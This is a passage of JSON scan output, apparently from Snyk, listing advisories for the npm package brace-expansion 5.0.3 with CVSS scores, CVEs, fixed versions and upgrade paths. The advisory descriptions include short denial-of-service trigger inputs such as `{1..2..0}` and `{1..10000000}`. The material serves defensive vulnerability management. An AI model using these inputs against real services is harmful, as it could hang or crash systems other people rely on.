"2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", 